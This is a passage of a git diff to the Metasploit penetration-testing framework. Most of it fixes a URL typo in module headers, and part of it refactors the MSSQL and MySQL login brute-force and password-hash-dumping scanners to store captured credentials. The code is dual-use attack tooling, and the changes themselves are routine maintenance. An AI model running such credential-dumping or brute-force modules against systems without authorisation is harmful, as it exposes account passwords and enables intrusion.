'boot.ini']) + OptString.new('FILEPATH', [false, 'The name of the file to download', 'windows\\win.ini']) ], self.class) deregister_options('RHOST') diff --git a/modules/auxiliary/scanner/http/zenworks_assetmanagement_fileaccess.rb b/modules/auxiliary/scanner/http/zenworks_assetmanagement_fileaccess.rb index c40b7551f4..c50a870fe7 100644 --- a/modules/auxiliary/scanner/http/zenworks_assetmanagement_fileaccess.rb +++ b/modules/auxiliary/scanner/http/zenworks_assetmanagement_fileaccess.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/http/zenworks_assetmanagement_getconfig.rb b/modules/auxiliary/scanner/http/zenworks_assetmanagement_getconfig.rb index dc5af1c591..095f3b2717 100644 --- a/modules/auxiliary/scanner/http/zenworks_assetmanagement_getconfig.rb +++ b/modules/auxiliary/scanner/http/zenworks_assetmanagement_getconfig.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/imap/imap_version.rb b/modules/auxiliary/scanner/imap/imap_version.rb index e2e8a66112..2c69b41023 100644 --- a/modules/auxiliary/scanner/imap/imap_version.rb +++ b/modules/auxiliary/scanner/imap/imap_version.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/ip/ipidseq.rb b/modules/auxiliary/scanner/ip/ipidseq.rb index 0e2111be32..f7980275fb 100644 --- a/modules/auxiliary/scanner/ip/ipidseq.rb +++ b/modules/auxiliary/scanner/ip/ipidseq.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/ipmi/ipmi_cipher_zero.rb b/modules/auxiliary/scanner/ipmi/ipmi_cipher_zero.rb index 30e78c1a37..abc8d604bd 100644 --- a/modules/auxiliary/scanner/ipmi/ipmi_cipher_zero.rb +++ b/modules/auxiliary/scanner/ipmi/ipmi_cipher_zero.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -14,7 +14,7 @@ class Metasploit3 < Msf::Auxiliary def initialize super( - 'Name' => 'IPMI 2.0 RAKP Cipher Zero Authentication Bypass Scanner', + 'Name' => 'IPMI 2.0 Cipher Zero Authentication Bypass Scanner', 'Description' => %q| This module identifies IPMI 2.0 compatible systems that are vulnerable to an authentication bypass vulnerability through the use of cipher diff --git a/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb b/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb index 53e90b01aa..2027a5547f 100644 --- a/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb +++ b/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/ipmi/ipmi_version.rb b/modules/auxiliary/scanner/ipmi/ipmi_version.rb index a1bd6fd042..0c497970b6 100644 --- a/modules/auxiliary/scanner/ipmi/ipmi_version.rb +++ b/modules/auxiliary/scanner/ipmi/ipmi_version.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/lotus/lotus_domino_hashes.rb b/modules/auxiliary/scanner/lotus/lotus_domino_hashes.rb index 2816691fcd..d41900d8a6 100644 --- a/modules/auxiliary/scanner/lotus/lotus_domino_hashes.rb +++ b/modules/auxiliary/scanner/lotus/lotus_domino_hashes.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/lotus/lotus_domino_login.rb b/modules/auxiliary/scanner/lotus/lotus_domino_login.rb index 3ddd187895..215cc63bbd 100644 --- a/modules/auxiliary/scanner/lotus/lotus_domino_login.rb +++ b/modules/auxiliary/scanner/lotus/lotus_domino_login.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/lotus/lotus_domino_version.rb b/modules/auxiliary/scanner/lotus/lotus_domino_version.rb index 64dc9feeb3..b7168dde99 100644 --- a/modules/auxiliary/scanner/lotus/lotus_domino_version.rb +++ b/modules/auxiliary/scanner/lotus/lotus_domino_version.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/misc/cctv_dvr_login.rb b/modules/auxiliary/scanner/misc/cctv_dvr_login.rb index 68b78ff2b9..1dddbe5cca 100644 --- a/modules/auxiliary/scanner/misc/cctv_dvr_login.rb +++ b/modules/auxiliary/scanner/misc/cctv_dvr_login.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb b/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb index 350e67cb1b..47edca4473 100644 --- a/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb +++ b/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/misc/ib_service_mgr_info.rb b/modules/auxiliary/scanner/misc/ib_service_mgr_info.rb index d585cf158c..f229ffcf3f 100644 --- a/modules/auxiliary/scanner/misc/ib_service_mgr_info.rb +++ b/modules/auxiliary/scanner/misc/ib_service_mgr_info.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/misc/java_rmi_server.rb b/modules/auxiliary/scanner/misc/java_rmi_server.rb index 2696fea3ee..50afdbd8fd 100644 --- a/modules/auxiliary/scanner/misc/java_rmi_server.rb +++ b/modules/auxiliary/scanner/misc/java_rmi_server.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/misc/oki_scanner.rb b/modules/auxiliary/scanner/misc/oki_scanner.rb index 8dbd3a4edc..d8b8b6793b 100644 --- a/modules/auxiliary/scanner/misc/oki_scanner.rb +++ b/modules/auxiliary/scanner/misc/oki_scanner.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/misc/poisonivy_control_scanner.rb b/modules/auxiliary/scanner/misc/poisonivy_control_scanner.rb index 53a274dc81..49a651a093 100644 --- a/modules/auxiliary/scanner/misc/poisonivy_control_scanner.rb +++ b/modules/auxiliary/scanner/misc/poisonivy_control_scanner.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/misc/raysharp_dvr_passwords.rb b/modules/auxiliary/scanner/misc/raysharp_dvr_passwords.rb index ca6e555c0a..9dbc33a081 100644 --- a/modules/auxiliary/scanner/misc/raysharp_dvr_passwords.rb +++ b/modules/auxiliary/scanner/misc/raysharp_dvr_passwords.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/misc/redis_server.rb b/modules/auxiliary/scanner/misc/redis_server.rb index 9a918d143c..3c19d93386 100644 --- a/modules/auxiliary/scanner/misc/redis_server.rb +++ b/modules/auxiliary/scanner/misc/redis_server.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/misc/rosewill_rxs3211_passwords.rb b/modules/auxiliary/scanner/misc/rosewill_rxs3211_passwords.rb index 8d74bd2c02..fa83664e78 100644 --- a/modules/auxiliary/scanner/misc/rosewill_rxs3211_passwords.rb +++ b/modules/auxiliary/scanner/misc/rosewill_rxs3211_passwords.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/misc/sercomm_backdoor_scanner.rb b/modules/auxiliary/scanner/misc/sercomm_backdoor_scanner.rb index 66e07508ef..d52870235d 100644 --- a/modules/auxiliary/scanner/misc/sercomm_backdoor_scanner.rb +++ b/modules/auxiliary/scanner/misc/sercomm_backdoor_scanner.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/misc/sunrpc_portmapper.rb b/modules/auxiliary/scanner/misc/sunrpc_portmapper.rb index d37c266056..a7c3802bb3 100644 --- a/modules/auxiliary/scanner/misc/sunrpc_portmapper.rb +++ b/modules/auxiliary/scanner/misc/sunrpc_portmapper.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -18,7 +18,7 @@ class Metasploit3 < Msf::Auxiliary This module calls the target portmap service and enumerates all program entries and their running port numbers. }, - 'Author' => ['<tebo [at] attackresearch.com>'], + 'Author' => ['<tebo[at]attackresearch.com>'], 'References' => [ ['URL', 'http://www.ietf.org/rfc/rfc1057.txt'], diff --git a/modules/auxiliary/scanner/misc/zenworks_preboot_fileaccess.rb b/modules/auxiliary/scanner/misc/zenworks_preboot_fileaccess.rb index 5009bcdf5b..341e6f45d0 100644 --- a/modules/auxiliary/scanner/misc/zenworks_preboot_fileaccess.rb +++ b/modules/auxiliary/scanner/misc/zenworks_preboot_fileaccess.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/mongodb/mongodb_login.rb b/modules/auxiliary/scanner/mongodb/mongodb_login.rb index 3a66283f27..e9f5680a2e 100644 --- a/modules/auxiliary/scanner/mongodb/mongodb_login.rb +++ b/modules/auxiliary/scanner/mongodb/mongodb_login.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/motorola/timbuktu_udp.rb b/modules/auxiliary/scanner/motorola/timbuktu_udp.rb index 703ac5b2f1..00e83217bd 100644 --- a/modules/auxiliary/scanner/motorola/timbuktu_udp.rb +++ b/modules/auxiliary/scanner/motorola/timbuktu_udp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/msf/msf_rpc_login.rb b/modules/auxiliary/scanner/msf/msf_rpc_login.rb index fe2e7a9f68..31420e8be3 100644 --- a/modules/auxiliary/scanner/msf/msf_rpc_login.rb +++ b/modules/auxiliary/scanner/msf/msf_rpc_login.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/msf/msf_web_login.rb b/modules/auxiliary/scanner/msf/msf_web_login.rb index 4c67510bd9..00a3ba1ef9 100644 --- a/modules/auxiliary/scanner/msf/msf_web_login.rb +++ b/modules/auxiliary/scanner/msf/msf_web_login.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/mssql/mssql_hashdump.rb b/modules/auxiliary/scanner/mssql/mssql_hashdump.rb index a31c2637c6..99ec5d98af 100644 --- a/modules/auxiliary/scanner/mssql/mssql_hashdump.rb +++ b/modules/auxiliary/scanner/mssql/mssql_hashdump.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -35,17 +35,57 @@ class Metasploit3 < Msf::Auxiliary return end + service_data = { + address: ip, + port: rport, + service_name: 'mssql', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + private_data: datastore['PASSWORD'], + private_type: :password, + username: datastore['USERNAME'] + } + + if datastore['USE_WINDOWS_AUTHENT'] + credential_data[:realm_key] = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN + credential_data[:realm_value] = datastore['DOMAIN'] + end + credential_data.merge!(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + core: credential_core, + last_attempted_at: DateTime.now, + status: Metasploit::Model::Login::Status::SUCCESSFUL + } + login_data.merge!(service_data) + + is_sysadmin = mssql_query(mssql_is_sysadmin())[:rows][0][0] + + unless is_sysadmin == 0 + login_data[:access_level] = 'admin' + end + + create_credential_login(login_data) + #Grabs the Instance Name and Version of MSSQL(2k,2k5,2k8) instancename= mssql_query(mssql_enumerate_servername())[:rows][0][0].split('\\')[1] print_status("Instance Name: #{instancename.inspect}") version = mssql_query(mssql_sql_info())[:rows][0][0] version_year = version.split('-')[0].slice(/\d\d\d\d/) - mssql_hashes = mssql_hashdump(version_year) - unless mssql_hashes.nil? - report_hashes(mssql_hashes,version_year) + unless is_sysadmin == 0 + mssql_hashes = mssql_hashdump(version_year) + unless mssql_hashes.nil? + report_hashes(mssql_hashes,version_year) + end end - end @@ -55,10 +95,12 @@ class Metasploit3 < Msf::Auxiliary case version_year when "2000" - hashtype = "mssql.hashes" + hashtype = "mssql" when "2005", "2008" - hashtype = "mssql05.hashes" + hashtype = "mssql05" + when "2012", "2014" + hashtype = "mssql12" end this_service = report_service( @@ -74,15 +116,42 @@ class Metasploit3 < Msf::Auxiliary 'Columns' => ['Username', 'Hash'] ) - hash_loot="" + service_data = { + address: ::Rex::Socket.getaddress(rhost,true), + port: rport, + service_name: 'mssql', + protocol: 'tcp', + workspace_id: myworkspace_id + } + mssql_hashes.each do |row| next if row[0].nil? or row[1].nil? next if row[0].empty? or row[1].empty? + + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + private_type: :nonreplayable_hash, + private_data: "0x#{row[1]}", + username: row[0], + jtr_format: hashtype + } + + credential_data.merge!(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + } + + login_data.merge!(service_data) + login = create_credential_login(login_data) + tbl << [row[0], row[1]] print_good("#{rhost}:#{rport} - Saving #{hashtype} = #{row[0]}:#{row[1]}") end - filename= "#{datastore['RHOST']}-#{datastore['RPORT']}_sqlhashes.txt" - store_loot(hashtype, "text/plain", datastore['RHOST'], tbl.to_csv, filename, "MS SQL Hashes", this_service) end #Grabs the user tables depending on what Version of MSSQL @@ -99,7 +168,7 @@ class Metasploit3 < Msf::Auxiliary when "2000" results = mssql_query(mssql_2k_password_hashes())[:rows] - when "2005", "2008" + when "2005", "2008", "2012", "2014" results = mssql_query(mssql_2k5_password_hashes())[:rows] end diff --git a/modules/auxiliary/scanner/mssql/mssql_login.rb b/modules/auxiliary/scanner/mssql/mssql_login.rb index 93c62447fc..c8b67a72ee 100644 --- a/modules/auxiliary/scanner/mssql/mssql_login.rb +++ b/modules/auxiliary/scanner/mssql/mssql_login.rb @@ -1,11 +1,12 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' - +require 'metasploit/framework/credential_collection' +require 'metasploit/framework/login_scanner/mssql' class Metasploit3 < Msf::Auxiliary @@ -30,44 +31,49 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) print_status("#{rhost}:#{rport} - MSSQL - Starting authentication scanner.") - each_user_pass { |user, pass| - do_login(user, pass, datastore['VERBOSE']) - } - # The service should already be reported at this point courtesy of - # report_auth_info, but this is currently the only way to give it a - # name. - report_service({ - :host => rhost, - :port => rport, - :proto => 'tcp', - :name => 'mssql' - }) - end - def do_login(user='sa', pass='', verbose=false) - vprint_status("#{rhost}:#{rport} - MSSQL - Trying username:'#{user}' with password:'#{pass}'") - begin - success = mssql_login(user, pass) + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'], + realm: datastore['DOMAIN'] + ) - if (success) - print_good("#{rhost}:#{rport} - MSSQL - successful login '#{user}' : '#{pass}'") - report_auth_info( - :host => rhost, - :port => rport, - :sname => 'mssql', - :user => user.downcase, - :pass => pass, - :source_type => "user_supplied", - :active => true - ) - return :next_user + cred_collection = prepend_db_passwords(cred_collection) + + scanner = Metasploit::Framework::LoginScanner::MSSQL.new( + host: ip, + port: rport, + proxies: datastore['PROXIES'], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + connection_timeout: 30, + max_send_size: datastore['TCP::max_send_size'], + send_delay: datastore['TCP::send_delay'], + windows_authentication: datastore['USE_WINDOWS_AUTHENT'] + ) + + scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!( + module_fullname: self.fullname, + workspace_id: myworkspace_id + ) + if result.success? + credential_core = create_credential(credential_data) + credential_data[:core] = credential_core + create_credential_login(credential_data) + + print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}" else - vprint_error("#{rhost}:#{rport} failed to login as '#{user}'") - return + invalidate_login(credential_data) + vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" end - rescue ::Rex::ConnectionError - vprint_error("#{rhost}:#{rport} connection failed") - return :abort end end + end diff --git a/modules/auxiliary/scanner/mssql/mssql_ping.rb b/modules/auxiliary/scanner/mssql/mssql_ping.rb index 41e0dbf7b4..12078e523a 100644 --- a/modules/auxiliary/scanner/mssql/mssql_ping.rb +++ b/modules/auxiliary/scanner/mssql/mssql_ping.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/mssql/mssql_schemadump.rb b/modules/auxiliary/scanner/mssql/mssql_schemadump.rb index 810c6d699e..2aaf4cb469 100644 --- a/modules/auxiliary/scanner/mssql/mssql_schemadump.rb +++ b/modules/auxiliary/scanner/mssql/mssql_schemadump.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/mysql/mysql_authbypass_hashdump.rb b/modules/auxiliary/scanner/mysql/mysql_authbypass_hashdump.rb index b5d7281081..76d0388728 100644 --- a/modules/auxiliary/scanner/mysql/mysql_authbypass_hashdump.rb +++ b/modules/auxiliary/scanner/mysql/mysql_authbypass_hashdump.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/mysql/mysql_file_enum.rb b/modules/auxiliary/scanner/mysql/mysql_file_enum.rb index 8d434d6892..b8736a0231 100644 --- a/modules/auxiliary/scanner/mysql/mysql_file_enum.rb +++ b/modules/auxiliary/scanner/mysql/mysql_file_enum.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/mysql/mysql_hashdump.rb b/modules/auxiliary/scanner/mysql/mysql_hashdump.rb index e249db4ff0..ce7c378756 100644 --- a/modules/auxiliary/scanner/mysql/mysql_hashdump.rb +++ b/modules/auxiliary/scanner/mysql/mysql_hashdump.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -30,6 +30,35 @@ class Metasploit3 < Msf::Auxiliary return end + service_data = { + address: ip, + port: rport, + service_name: 'mysql', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + private_data: datastore['PASSWORD'], + private_type: :password, + username: datastore['USERNAME'] + } + + credential_data.merge!(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + core: credential_core, + last_attempted_at: DateTime.now, + status: Metasploit::Model::Login::Status::SUCCESSFUL + } + login_data.merge!(service_data) + + create_credential_login(login_data) + #Grabs the username and password hashes and stores them as loot res = mysql_query("SELECT user,password from mysql.user") if res.nil? @@ -37,41 +66,41 @@ class Metasploit3 < Msf::Auxiliary return end - this_service = report_service( - :host => datastore['RHOST'], - :port => datastore['RPORT'], - :name => 'mysql', - :proto => 'tcp' - ) + service_data = { + address: ::Rex::Socket.getaddress(rhost,true), + port: rport, + service_name: 'mysql', + protocol: 'tcp', + workspace_id: myworkspace_id + } + credential_data = { + origin_type: :service, + jtr_format: 'mysql,mysql-sha1', + module_fullname: self.fullname, + private_type: :nonreplayable_hash + } - #create a table to store data - tbl = Rex::Ui::Text::Table.new( - 'Header' => 'MysQL Server Hashes', - 'Indent' => 1, - 'Columns' => ['Username', 'Hash'] - ) + credential_data.merge!(service_data) if res.size > 0 res.each do |row| - tbl << [row[0], row[1]] + credential_data[:username] = row[0] + credential_data[:private_data] = row[1] print_good("Saving HashString as Loot: #{row[0]}:#{row[1]}") + credential_core = create_credential(credential_data) + login_data = { + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + } + login_data.merge!(service_data) + create_credential_login(login_data) end end - report_hashes(tbl.to_csv, this_service) unless tbl.rows.empty? - - end - #Stores the Hash Table as Loot for Later Cracking - def report_hashes(hash_loot,service) - filename= "#{datastore['RHOST']}-#{datastore['RPORT']}_mysqlhashes.txt" - path = store_loot("mysql.hashes", "text/plain", datastore['RHOST'], hash_loot, filename, "MySQL Hashes",service) - print_status("Hash Table has been saved: #{path}") - - end end diff --git a/modules/auxiliary/scanner/mysql/mysql_login.rb b/modules/auxiliary/scanner/mysql/mysql_login.rb index b034b1d00a..8964a586d1 100644 --- a/modules/auxiliary/scanner/mysql/mysql_login.rb +++ b/modules/auxiliary/scanner/mysql/mysql_login.rb @@ -1,11 +1,12 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' - +require 'metasploit/framework/credential_collection' +require 'metasploit/framework/login_scanner/mysql' class Metasploit3 < Msf::Auxiliary @@ -26,6 +27,11 @@ class Metasploit3 < Msf::Auxiliary [ 'CVE', '1999-0502'] # Weak password ] )) + + register_options( + [ + Opt::Proxies + ], self.class) end def target @@ -36,14 +42,52 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) begin if mysql_version_check("4.1.1") # Pushing down to 4.1.1. - each_user_pass { |user, pass| - do_login(user, pass) - } + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'], + ) + + cred_collection = prepend_db_passwords(cred_collection) + + scanner = Metasploit::Framework::LoginScanner::MySQL.new( + host: ip, + port: rport, + proxies: datastore['PROXIES'], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + connection_timeout: 30, + max_send_size: datastore['TCP::max_send_size'], + send_delay: datastore['TCP::send_delay'], + ) + + scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!( + module_fullname: self.fullname, + workspace_id: myworkspace_id + ) + if result.success? + credential_core = create_credential(credential_data) + credential_data[:core] = credential_core + create_credential_login(credential_data) + + print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}'" + else + invalidate_login(credential_data) + vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" + end + end + else - print_error "#{target} - Unsupported target version of MySQL detected. Skipping." + vprint_error "#{target} - Unsupported target version of MySQL detected. Skipping." end rescue ::Rex::ConnectionError, ::EOFError => e - print_error "#{target} - Unable to connect: #{e.to_s}" + vprint_error "#{target} - Unable to connect: #{e.to_s}" end end @@ -98,36 +142,6 @@ class Metasploit3 < Msf::Auxiliary end end - def do_login(user='', pass='') - vprint_status("#{rhost}:#{rport} Trying username:'#{user}' with password:'#{pass}'") - begin - m = mysql_login(user, pass) - return :fail if not m - - print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN '#{user}' : '#{pass}'") - report_auth_info( - :host => rhost, - :port => rport, - :sname => 'mysql', - :user => user, - :pass => pass, - :source_type => "user_supplied", - :active => true - ) - return :next_user - - rescue ::RbMysql::Error => e - vprint_error("#{rhost}:#{rport} failed to login: #{e.class} #{e}") - return :error - - rescue ::Interrupt - raise $! - - rescue ::Rex::ConnectionError - return :abort - - end - end end diff --git a/modules/auxiliary/scanner/mysql/mysql_schemadump.rb b/modules/auxiliary/scanner/mysql/mysql_schemadump.rb index b9cb45576b..6961010695 100644 --- a/modules/auxiliary/scanner/mysql/mysql_schemadump.rb +++ b/modules/auxiliary/scanner/mysql/mysql_schemadump.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/mysql/mysql_version.rb b/modules/auxiliary/scanner/mysql/mysql_version.rb index d042e996d5..bde7d5c2b7 100644 --- a/modules/auxiliary/scanner/mysql/mysql_version.rb +++ b/modules/auxiliary/scanner/mysql/mysql_version.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/natpmp/natpmp_portscan.rb b/modules/auxiliary/scanner/natpmp/natpmp_portscan.rb index b472ed1538..c0c63c3e73 100644 --- a/modules/auxiliary/scanner/natpmp/natpmp_portscan.rb +++ b/modules/auxiliary/scanner/natpmp/natpmp_portscan.rb @@ -1,16 +1,17 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' -require 'rex/proto/natpmp' class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner + include Msf::Auxiliary::NATPMP + include Rex::Proto::NATPMP def initialize super( @@ -22,10 +23,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ - Opt::RPORT(Rex::Proto::NATPMP::DefaultPort), - OptString.new('PORTS', [true, "Ports to scan (e.g. 22-25,80,110-900)", "1-1000"]), - OptEnum.new('PROTOCOL', [true, "Protocol to scan", 'TCP', %w(TCP UDP)]), - Opt::CHOST + OptString.new('PORTS', [true, "Ports to scan (e.g. 22-25,80,110-900)", "1-1000"]) ], self.class) end @@ -36,34 +34,25 @@ class Metasploit3 < Msf::Auxiliary 'Context' => {'Msf' => framework, 'MsfExploit' => self} } ) add_socket(udp_sock) - vprint_status "Scanning #{datastore['PROTOCOL']} ports #{datastore['PORTS']} on #{host} using NATPMP" - - # first, send a request to get the external address - udp_sock.sendto(Rex::Proto::NATPMP.external_address_request, host, datastore['RPORT'].to_i, 0) - external_address = nil - while (r = udp_sock.recvfrom(12, 0.25) and r[1]) - (ver,op,result,epoch,external_address) = Rex::Proto::NATPMP.parse_external_address_response(r[0]) - end + peer = "#{host}:#{datastore['RPORT']}" + vprint_status("#{peer} Scanning #{protocol} ports #{datastore['PORTS']} using NATPMP") + external_address = get_external_address(udp_sock, host, datastore['RPORT']) if (external_address) - print_good("External address of #{host} is #{external_address}") + print_good("#{peer} responded with external address of #{external_address}") else - 